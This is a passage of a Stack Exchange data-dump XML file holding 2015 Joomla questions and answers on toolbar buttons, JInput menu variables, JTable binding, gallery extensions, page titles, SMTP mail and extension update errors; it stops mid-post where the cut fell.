  <row Id="8708" PostTypeId="1" CreationDate="2015-02-19T22:27:03.570" Score="5" ViewCount="1104" Body="&lt;p&gt;I want to create some of these buttons in the frontend List view. I added checkboxes to the table and used the &lt;a href=&quot;https://docs.joomla.org/J3.x:Using_the_JToolBar_class_in_the_frontend&quot; rel=&quot;nofollow noreferrer&quot;&gt;Using_the_JToolBar_class_in_the_frontend&lt;/a&gt; tutorial to put &lt;code&gt;Save&lt;/code&gt; and &lt;code&gt;Cancel&lt;/code&gt; buttons.&#xA;Also added the Unpublish button with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;bar-&amp;gt;appendButton( 'Frontend', 'unpublish', 'Unpublish', 'articles.unpublish', false );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But can't make it work to unpublish articles.&lt;br&gt;&#xA;I put it in the same form as the table, so the action url is the same too, in my case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/index.php?option=com_content&amp;amp;view=category&amp;amp;id=8&amp;amp;Itemid=116&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It just redirects to the page without messages (error level is maximum).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can't find how the admin Unpublish button works.&lt;br&gt;&#xA;So maybe someone worked with these buttons.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;It looks like this.&#xA;&lt;img src=&quot;https://s28.postimg.org/y16lb4csd/Untitled.png&quot;&gt;&#xA;The New Record button works, it uses this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;bar-&amp;gt;appendButton( 'Standard', 'add', 'New Record', 'article.add', false );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3671" LastEditorUserId="12352" LastEditDate="2020-09-15T08:35:10.240" LastActivityDate="2020-09-15T08:35:10.240" Title="Unpublish, Trash or Delete buttons in the Frontend" Tags="|joomla-3.x|editor|workflow|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8709" PostTypeId="1" CreationDate="2015-02-20T02:38:21.077" Score="2" ViewCount="1398" Body="&lt;p&gt;I am using joomla 3.3.6 and have added a menu item type variable. &#xA;I want to get the value of this variable using jinput to query the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The controller file is external so i added the framework but the value of variable is not available.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Get Joomla! framework &#xA;define( '_JEXEC', 1 ); &#xA;define( '_VALID_MOS', 1 ); &#xA;define( 'JPATH_BASE', realpath(dirname(__FILE__))); &#xA;define( 'DS', DIRECTORY_SEPARATOR ); &#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' ); &#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' ); &#xA;$mainframe =&amp;amp;JFactory::getApplication('site'); &#xA;$mainframe-&amp;gt;initialise(); &#xA;&#xA;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$city = $jinput-&amp;gt;get('city');&#xA;&#xA;&#xA;include('config.php');&#xA;$mysqli-&amp;gt;set_charset(&quot;utf8&quot;);&#xA;if($stmt=$mysqli-&amp;gt;prepare(&quot;SELECT * from test where City=?&quot;));{&#xA;$stmt-&amp;gt;bind_param(&quot;s&quot;,$city);&#xA;$result=$stmt-&amp;gt;execute();&#xA;$result = $stmt -&amp;gt; get_result();&#xA;$arr = array();&#xA;if($result-&amp;gt;num_rows &amp;gt;&quot;0&quot;) {&#xA;while($row = $result-&amp;gt;fetch_assoc()) {&#xA;        $arr[] = $row;  &#xA;    }&#xA;}&#xA;# JSON-encode the response&#xA;$json_response = json_encode($arr);&#xA;&#xA;// # Return the response&#xA;echo $json_response;&#xA;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The xml file for the menu variable is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;metadata&amp;gt;&#xA;&#xA;    &amp;lt;layout title=&quot;COM_HELLOWORLD_HELLOWORLD_VIEW_DEFAULT_TITLE&quot;&amp;gt;&#xA;&#xA;        &amp;lt;message&amp;gt;COM_HELLOWORLD_HELLOWORLD_VIEW_DEFAULT_DESC&amp;lt;/message&amp;gt;&#xA;&#xA;    &amp;lt;/layout&amp;gt;&#xA;&#xA;    &amp;lt;fields name=&quot;request&quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&quot;request&quot;&amp;gt;&#xA;            &amp;lt;field&#xA;                    name=&quot;city&quot;&#xA;                    type=&quot;list&quot;&#xA;                    label=&quot;COM_HELLOWORLD_HELLOWORLD_FIELD_GREETING_LABEL&quot;&#xA;                    description=&quot;COM_HELLOWORLD_HELLOWORLD_FIELD_GREETING_DESC&quot;&#xA;                    default=&quot;London&quot;&amp;gt;&#xA;                                &amp;lt;option value=&quot;London&quot;&amp;gt;London&amp;lt;/option&amp;gt;&#xA;                                &amp;lt;option value=&quot;Paris&quot;&amp;gt;paris&amp;lt;/option&amp;gt;&#xA;                                &amp;lt;option value=&quot;New Delhi&quot;&amp;gt;New Delhi&amp;lt;/option&amp;gt;&#xA;                                &amp;lt;option value=&quot;Amsterdam&quot;&amp;gt;Amsterdam&amp;lt;/option&amp;gt;&#xA;                                &amp;lt;option value=&quot;Las vegas&quot;&amp;gt;Las vegas&amp;lt;/option&amp;gt;&#xA;                                &amp;lt;option value=&quot;Birmingham&quot;&amp;gt;Birmingham&amp;lt;/option&amp;gt;&#xA;                                &amp;lt;option value=&quot;new york&quot;&amp;gt;new york&amp;lt;/option&amp;gt;&#xA;                                &amp;lt;option value=&quot;mumbai&quot;&amp;gt;mumbai&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;/field&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&#xA;&amp;lt;/metadata&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope you can help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-----------------------------------Update---------------------------------------------&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deine a problem:  i am trying to get the variable value from menu item so i can run a query . i have set a menu item variable as described above but it is not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a alternative i am trying to get the menu item alias so i can use that in my query and get results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the code I tried but i get some warnings but no variable value.(added joomla framework to external file)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Get Joomla! framework &#xA;define( '_JEXEC', 1 ); &#xA;define( '_VALID_MOS', 1 ); &#xA;define( 'JPATH_BASE', realpath(dirname(__FILE__))); &#xA;define( 'DS', DIRECTORY_SEPARATOR ); &#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' ); &#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' ); &#xA;$mainframe =&amp;amp;JFactory::getApplication('site'); &#xA;$mainframe-&amp;gt;initialise(); &#xA;&#xA;$menu = JFactory::getApplication()-&amp;gt;getMenu();&#xA;$alias = $menu-&amp;gt;getActive()-&amp;gt;alias;&#xA;&#xA;&#xA;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$city = $jinput-&amp;gt;get('city');&#xA;&#xA;include('config.php');&#xA;$mysqli-&amp;gt;set_charset(&quot;utf8&quot;);&#xA;//$rcity =&quot;london&quot;;&#xA;if($stmt=$mysqli-&amp;gt;prepare(&quot;SELECT * from ratedmain where City=?&quot;));{&#xA;$stmt-&amp;gt;bind_param(&quot;s&quot;,$alias);&#xA;$result=$stmt-&amp;gt;execute();&#xA;$result = $stmt -&amp;gt; get_result();&#xA;$arr = array();&#xA;if($result-&amp;gt;num_rows &amp;gt;&quot;0&quot;) {&#xA;while($row = $result-&amp;gt;fetch_assoc()) {&#xA;        $arr[] = $row;  &#xA;    }&#xA;}&#xA;# JSON-encode the response&#xA;$json_response = json_encode($arr);&#xA;&#xA;// # Return the response&#xA;echo $json_response;&#xA;echo $parentname;&#xA;&#xA;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Strict standards: Only variables should be assigned by reference in C:\wamp\www\tets\test.php on line 9&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying to get property of non-object in C:\wamp\www\test\test.php on line 16&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying to get property of non-object in C:\wamp\www\test\test.php on line 17&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I using the right method to get the menu item alias?&lt;/p&gt;&#xA;" OwnerUserId="3747" LastEditorUserId="3747" LastEditDate="2015-02-20T14:56:36.193" LastActivityDate="2015-05-26T12:14:41.247" Title="Get the menu item variable using Jinput" Tags="|joomla-3.x|menu-item|jinput|menu-parameters|variable|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8711" PostTypeId="1" AcceptedAnswerId="8720" CreationDate="2015-02-20T06:24:51.147" Score="2" ViewCount="2052" Body="&lt;p&gt;Trying to use the Helix II framework with Joomla 3.3.6. My main menu is in the default menu position, and that is good, but I would like it to float right. I see how to add a pull-right class to div#sp-menu but that doesn't work. Can anyone tell me how to add the pull-right class to div#sp-main-menu? That is one layer deeper in the tree. Is that even configurable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess I could add a custom js with a little jQuery to do the trick, but I would prefer this to be configured some way.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-02-20T15:57:39.793" Title="How do you adjust the position of the megamenu in the Helix II framework" Tags="|joomla-3.3.x|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8712" PostTypeId="1" AcceptedAnswerId="8728" CreationDate="2015-02-20T07:14:56.720" Score="3" ViewCount="3086" Body="&lt;p&gt;When writing a view which either edits creates a record, the model extends admin model which requires &lt;code&gt;getTable()&lt;/code&gt; and &lt;code&gt;getForm()&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the confusion is how the &lt;code&gt;loadForm()&lt;/code&gt; function knows the number of fields in the table associated with the model and what the role of the &lt;code&gt;bind()&lt;/code&gt; function is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;It's not clear to me how the table class and form talk to each other and where&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3553" LastEditorUserId="168" LastEditDate="2015-02-20T13:53:01.513" LastActivityDate="2015-05-06T14:58:25.677" Title="What does JTable's bind function do and why it is useful?" Tags="|joomla-3.x|model|jtable|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8714" PostTypeId="1" CreationDate="2015-02-18T14:33:45.253" Score="1" ViewCount="576" Body="&lt;p&gt;I'm looking for a Joomla extension to display an image gallery in articles. Most extensions I've seen render the gallery from a folder where the pictures are, so If I had 40 articles with galleries, I would have 40 different folders, and suppose that I want to reuse some pictures of one of the gallery folders I would have to copy and paste them in another folder, so I will have the same picture 2 times, and not to say if I want that picture in 50 differents galleries!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: suppose I´m writing an article and I want to put some images in it and make a gallery, so I click the &quot;gallery button&quot; and it opens an images browser where all my pictures are (on the server), each picture has a checkbox to tell the &quot;gallery render engine&quot; which pictures to show, so I choose the ones which I like most and the gallery is displayed!!! Of course the image browser has to have a button to upload images from my computer to the server...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope you understand what my needs are... so the question is: is there an extension that can do this??&lt;/p&gt;&#xA;" OwnerUserId="3761" OwnerDisplayName="MAR77IN" LastEditorUserId="126" LastEditDate="2015-08-28T07:04:00.503" LastActivityDate="2015-11-11T02:18:34.237" Title="Joomla images gallery management" Tags="|joomla-3.x|extensions|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8715" PostTypeId="2" ParentId="8714" CreationDate="2015-02-18T16:27:56.747" Score="2" Body="&lt;p&gt;This seems to do everything you need. I use it on many websites and it makes re-using image galleries very easy without the need to copy and paste images or create new folders, which I think is your main requirement?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.joomlaworks.net/extensions/free/simple-image-gallery&quot; rel=&quot;nofollow&quot;&gt;Simple Image Gallery&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taken from their website;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin can turn any folder of images located inside your Joomla website into a grid-style image gallery with cool lightbox previews. Using tag like {gallery}myphotos{/gallery}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example, if we have a folder called &quot;my_trip_to_Paris&quot; located in images/stories/my_trip_to_Paris, then we can create our gallery by simply entering the tag {gallery}my_trip_to_Paris{/gallery} into some Joomla article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="1538" OwnerDisplayName="johnny_s" LastActivityDate="2015-02-18T16:27:56.747" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8716" PostTypeId="1" AcceptedAnswerId="8717" CreationDate="2015-02-20T14:07:17.177" Score="0" ViewCount="58" Body="&lt;p&gt;SO i'm no Joomla expert by any means of the imagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My uncle has a website, that runs off Joomla and has this awkward issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When accessing the website without a www like so:  &lt;a href=&quot;http://website.com&quot; rel=&quot;nofollow&quot;&gt;http://website.com&lt;/a&gt;&#xA;his title reads&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;title&amp;gt;Title without www in url&amp;lt;/title&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when accessing the website with www like so:  &lt;a href=&quot;http://www.website.com&quot; rel=&quot;nofollow&quot;&gt;http://www.website.com&lt;/a&gt;&#xA;his title reads&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;title&amp;gt;Title is different when www is inside the url&amp;lt;/title&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas what's causing this?&lt;/p&gt;&#xA;" OwnerUserId="3749" LastActivityDate="2015-02-20T15:09:17.510" Title="Joomla noob, WWW title issue" Tags="|joomla-3.x|cms|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8717" PostTypeId="2" ParentId="8716" CreationDate="2015-02-20T14:12:47.830" Score="1" Body="&lt;p&gt;In the Joomla backend, go to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Menus&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Main Menu&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Home&lt;/strong&gt; (or whatever your homepage menu item is)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then go to the &lt;strong&gt;Page Display&lt;/strong&gt; tab and you will see a field called &lt;strong&gt;Browser Page Title&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fill this field in with the wording of your choice which should work for domains with and without &lt;code&gt;www&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-02-20T14:12:47.830" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8718" PostTypeId="2" ParentId="8716" CreationDate="2015-02-20T15:09:17.510" Score="0" Body="&lt;p&gt;Sounds to me like this title could be generated from your template's &lt;code&gt;index.php&lt;/code&gt; file (located in &lt;code&gt;JOOMLAROOT/templates/YOURTEMPLATE/index.php&lt;/code&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To check this, log in to your Joomla admin area, and go to &lt;strong&gt;Extensions&lt;/strong&gt; -&gt; &lt;strong&gt;Template Manager&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Locate your default &lt;em&gt;front-end&lt;/em&gt; template (#1, marked with a yellow star), and click the template &lt;em&gt;name&lt;/em&gt; (#2).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ENso5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should now see a list of all your template files. Locate &lt;code&gt;index.php&lt;/code&gt; in the list and click to edit the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SBOoe.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now look for &lt;code&gt;&amp;lt;title&amp;gt;&lt;/code&gt; tags, &lt;code&gt;&amp;lt;title&amp;gt;Title without www in url&amp;lt;/title&amp;gt;&lt;/code&gt; or similar. There might be a PHP &lt;code&gt;if-else&lt;/code&gt; statement to determine if the URL uses &lt;code&gt;www&lt;/code&gt; or not. Here's an example on how this might look, but it could be different:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(preg_match('/www/', $_SERVER['HTTP_HOST']))&#xA;{&#xA;  echo '&amp;lt;title&amp;gt;Title is different when www is inside the url&amp;lt;/title&amp;gt;';&#xA;}&#xA;else&#xA;{&#xA;  echo '&amp;lt;title&amp;gt;Title without www in url&amp;lt;/title&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-02-20T15:09:17.510" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8719" PostTypeId="2" ParentId="8714" CreationDate="2015-02-20T15:37:46.673" Score="2" Body="&lt;p&gt;Your requirements are quite specific, you might have to modify them a little in order to find a good solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One option might be &lt;a href=&quot;http://www.phoca.cz/phocagallery&quot; rel=&quot;nofollow&quot;&gt;Phoca Gallery&lt;/a&gt;. I haven't used it in a while, so it might not work exactly as you require, but as far as I remember your users can &lt;a href=&quot;http://www.phoca.cz/documents/2-phoca-gallery-component/20-user-upload&quot; rel=&quot;nofollow&quot;&gt;upload images from the frontend&lt;/a&gt;, and add images inside any article using the &lt;a href=&quot;http://www.phoca.cz/documents/14-phoca-gallery-plugin/58-displaying-phoca-gallery-plugin&quot; rel=&quot;nofollow&quot;&gt;Phoca Gallery Plugin&lt;/a&gt;. You probably have to go through the settings to get everything correctly set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you had a look at &lt;a href=&quot;http://www.rockettheme.com/joomla/extensions/rokgallery&quot; rel=&quot;nofollow&quot;&gt;RokGallery&lt;/a&gt;? The slideshow is displayed through a module, so your users won't be able to manage it from the front-end, but you can handle all the images from the back-end, set up as many modules as you need, and load it into any article using &lt;code&gt;{loadposition CUSTOMPOSITION}&lt;/code&gt;. The extension works using a tag system, so you can add one or more tags to your images, thus including one image in several galleries.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-02-20T15:37:46.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8720" PostTypeId="2" ParentId="8711" CreationDate="2015-02-20T15:57:39.793" Score="1" Body="&lt;p&gt;Ok, I found a way to do this. I consider it a little sub-optimal, but editing the module Class Suffix as @Lodder suggested did not work becase the main menu in the Helix framework is not a menu module, and in fact I have that module unpublished. To fix this, I had to edit a template file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happens in the backend:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Navigate to Extensions - Template Manager&lt;/li&gt;&#xA;&lt;li&gt;Find the Style you want to update, and click it's template in the Template column - This should be sharper_helix_ii.&lt;/li&gt;&#xA;&lt;li&gt;Open the less folder.&lt;/li&gt;&#xA;&lt;li&gt;Edit the menu.less file.&lt;/li&gt;&#xA;&lt;li&gt;Near the top of the file add &lt;code&gt;float:right;&lt;/code&gt; to the #sp-main-menu selector as shown below.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;pre&gt;&#xA;    /* Menu */&#xA;    #sp-main-menu {&#xA;       float:right;&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-02-20T15:57:39.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8721" PostTypeId="2" ParentId="7277" CreationDate="2015-02-20T16:06:58.880" Score="2" Body="&lt;p&gt;My colleague and I worked this out. You edit the ps_product file in administrator - components - com_virtuemart - classes. You do a string replace for the attributes you want affected at the end of the &quot;getDescriptionWithTax&quot; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you want &quot;Remove Topping&quot; to not be shown when its selected at its default value - &quot;none&quot; in this case - then you replace the string &quot;Remove Topping: none&quot; with &quot;&quot; using PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is useful if you print out the e-mail and need it to be cleaner, and only show the attributes if they have a default value set other than the default value.&lt;/p&gt;&#xA;" OwnerUserId="3544" LastActivityDate="2015-02-20T16:06:58.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8722" PostTypeId="1" AcceptedAnswerId="8724" CreationDate="2015-02-20T17:46:19.310" Score="1" ViewCount="4974" Body="&lt;p&gt;Joomla 3.3.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a user called 'Jo'. He is currently set as a Joomla 'Administrator' with front and back-end access. However I would like to now set him as a 'Super User'. How can I achieve this via the database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reason for doing this is because I don't have access to the super admin account, however I do have access the the database.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2015-02-20T19:06:10.060" Title="Set user as super user from db" Tags="|joomla-3.x|administrator|database|phpmyadmin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8724" PostTypeId="2" ParentId="8722" CreationDate="2015-02-20T19:06:10.060" Score="4" Body="&lt;p&gt;I was very cautious about this question and nearly flagged it as a security hole, but re-read it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You mentioned you have access to the database, so assuming the Super User group ID had not been changed in any way, you can open the &lt;code&gt;#__user_usergroup_map&lt;/code&gt; table, find the &lt;code&gt;user_id&lt;/code&gt; that corresponds to your user, and change the &lt;code&gt;group_id&lt;/code&gt; to &lt;code&gt;8&lt;/code&gt; which is the default ID for the Super User group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-02-20T19:06:10.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8725" PostTypeId="1" CreationDate="2015-02-20T20:05:48.457" Score="0" ViewCount="983" Body="&lt;p&gt;I'm trying to send email from Joomla via SMTP connected to an exchange server via port 25. However it doesn't send the email, &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;sh: 1: /usr/sbin/sendmail: not found&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But I'm not using sendmail, I'm using SMTP. Does Joomla needs the sendmail installed to send emails even if it's not going to use it?&lt;/p&gt;&#xA;" OwnerUserId="1744" LastActivityDate="2015-03-02T06:22:29.873" Title="Joomla can't send email via SMTP" Tags="|emails|smtp|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8726" PostTypeId="2" ParentId="8725" CreationDate="2015-02-20T21:11:42.060" Score="1" Body="&lt;p&gt;Your site is going to send mails following your configuration on Global Configuration/ Server/ Mail Settings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For SMTP, you have to select &lt;strong&gt;Mailer=SMTP&lt;/strong&gt; and the rest of the required information, e.g. &lt;strong&gt;SMTP Host&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-02-20T21:11:42.060" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8727" PostTypeId="2" ParentId="8712" CreationDate="2015-02-20T21:24:55.763" Score="3" Body="&lt;p&gt;The Form does not know anything about the fields in your database. It's getting its fields by your XML definition. The &lt;code&gt;bind()&lt;/code&gt; function just adds the data to the object, while &lt;code&gt;store()&lt;/code&gt; will post the binded data to your database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words: You are responsible for correlating fields/properties.&lt;/p&gt;&#xA;" OwnerUserId="3518" LastActivityDate="2015-02-20T21:24:55.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8728" PostTypeId="2" ParentId="8712" CreationDate="2015-02-20T23:07:06.460" Score="8" Body="&lt;p&gt;Your form is defined by your XML form (typically located in models/forms). You choose to have the same names as those in your database as those field names but actually it isn't compulsory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can think of the table as being like a wrapper around a row to insert. You go through a 3 stage process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bind&lt;/code&gt; takes the array of data that comes from your form and then stores any data from it into the table class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;check&lt;/code&gt; then runs sanity checks on the data that you have binded into the table class&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;store&lt;/code&gt; then stores the binded data into the database table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However what's important is the data that is stored in the class. This means that the names of the fields in your form are to an extent irrelevent. For example. You could have a field in your form called &lt;code&gt;foobar&lt;/code&gt; and then in your bind method do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function bind($src, $ignore = array())&#xA;{&#xA;    $this-&amp;gt;tableVar = $src['foobar'];&#xA;    parent::bind($src, $ignore);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this will try and store the &lt;code&gt;foobar&lt;/code&gt; variable from your form as a column called &lt;code&gt;tableVar&lt;/code&gt; in your database&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is because the parent bind method will bind data to the class as a class var&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function bind($src, $ignore = array())&#xA;{&#xA;    foreach ($src as $field =&amp;gt; $value)&#xA;    {&#xA;        $this-&amp;gt;$field = $value;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then will attempt to match &lt;code&gt;$field&lt;/code&gt; to a database column storing the value if it exists. So the importance of setting &lt;code&gt;$this-&amp;gt;tablevar&lt;/code&gt; above is that is the column in your database was &lt;code&gt;tablevar&lt;/code&gt; and you didn't have a column called foobar then now it gets stored into the database.&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="33" LastEditDate="2015-02-25T22:06:02.657" LastActivityDate="2015-02-25T22:06:02.657" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8730" PostTypeId="2" ParentId="7115" CreationDate="2015-02-21T06:14:06.623" Score="1" Body="&lt;p&gt;Whatever you want to achieve by pasting into the index.php file, can also be achieved by creating a system plugin and triggering the same code onAfterInitialise&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However in your case, why do you need to use featured articles? The same can be achieved by using categories or even tags (more work in the template overrides)&lt;/p&gt;&#xA;" OwnerUserId="35" LastActivityDate="2015-02-21T06:14:06.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8733" PostTypeId="1" AcceptedAnswerId="8734" CreationDate="2015-02-21T17:36:23.463" Score="-1" ViewCount="59" Body="&lt;p&gt;I've been trying the &quot;find updates&quot; in Joomla for a few extensions, where I only get error messages such as&#xA;Unable to open &lt;a href=&quot;http://www.keashly.net/updates/kc_cufon.xml&quot; rel=&quot;nofollow&quot;&gt;http://www.keashly.net/updates/kc_cufon.xml&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can perfectly open and retrieve the xml directly from a webbrowser, but in cUrl this results in &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HTTP/1.1 302 Found&#xA;Date: Sat, 21 Feb 2015 17:11:35 GMT&#xA;Server: Apache&#xA;Location: http://www.keashly.net/&#xA;Cache-Control: max-age=3600&#xA;Expires: Sat, 21 Feb 2015 18:11:35 GMT&#xA;Vary: Accept-Encoding&#xA;Content-Length: 207&#xA;Content-Type: text/html; charset=iso-8859-1&#xA;&#xA;&amp;lt;!DOCTYPE HTML PUBLIC \&quot;-//IETF//DTD HTML 2.0//EN\&quot;&amp;gt;&#xA;&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&#xA;&amp;lt;title&amp;gt;302 Found&amp;lt;/title&amp;gt;&#xA;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;&#xA;&amp;lt;h1&amp;gt;Found&amp;lt;/h1&amp;gt;&#xA;&amp;lt;p&amp;gt;The document has moved &amp;lt;a href=\&quot;http://www.keashly.net/\&quot;&amp;gt;here&amp;lt;/a&amp;gt;.&amp;lt;/p&amp;gt;&#xA;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried explicitly setting the Host header and HTTP Version to 1.1, but nothing helps so far. Looking into a Net Panel in the browser there doesn't appear to be any redirect at 